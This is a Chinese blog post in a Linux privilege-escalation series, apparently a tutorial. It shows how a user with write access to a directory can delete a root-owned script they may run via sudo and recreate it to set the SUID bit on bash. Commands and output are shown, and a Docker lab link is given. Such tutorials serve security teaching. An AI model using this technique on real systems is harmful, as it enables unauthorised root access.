Linux提权系列 - 不可修改但可以删除的文件

300 阅读1分钟

概述

Linux环境中的文件系统权限控制不同的用户对文件系统的可操作权限,常见的文件权限包括: 读(r), 写(w)和运行(x),而用户是否可以删除某个文件则是由该用户是否对文件所属目录拥有写的权限来决定的。 由此也提供了一个可能的升权途径。

示例

用户可以通过sudo运行某个脚本,该脚本的拥有者是root,用户没有修改该脚本的权限, 但对该脚本所属目录拥有写的权限。

test@bf062880dd85:~$ sudo -l
Matching Defaults entries for test on bf062880dd85:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User test may run the following commands on bf062880dd85:
    (ALL) NOPASSWD: /home/test/run.sh
test@bf062880dd85:~$
   
test@bf062880dd85:~$ ls -alrt /home/test/run.sh
-rwxr-xr-x. 1 root root 11 Sep 26 04:38 /home/test/run.sh

test@bf062880dd85:~$ touch /home/test/run.sh
touch: cannot touch '/home/test/run.sh': Permission denied

虽然用户不可以修改该脚本,但可以将其删除,然后重新创建一个相同文件名的脚本以进行提权。

test@bf062880dd85:~$ rm /home/test/run.sh
rm: remove write-protected regular file '/home/test/run.sh'? yes

test@bf062880dd85:~$ echo "chmod u+s /usr/bin/bash" > /home/test/run.sh
test@bf062880dd85:~$ chmod a+x /home/test/run.sh
test@bf062880dd85:~$ ls -alrt /home/test/run.sh
-rwxrwxr-x. 1 test test 24 Sep 26 04:40 /home/test/run.sh

test@bf062880dd85:~$
test@bf062880dd85:~$ sudo /home/test/run.sh
test@bf062880dd85:~$

#

运行完成后,可以看到/usr/bin/bash有了SUID,可用于提权。

test@bf062880dd85:~$ ls -alrt /usr/bin/bash
-rwsr-xr-x. 1 root root 1396520 Jan  6  2022 /usr/bin/bash
test@bf062880dd85:~$
#

实战

下面的Dockerfile提供了一个基于Ubuntu的试验环境,可用于复现以上的提权过程。

github.com/wuzhang72/L…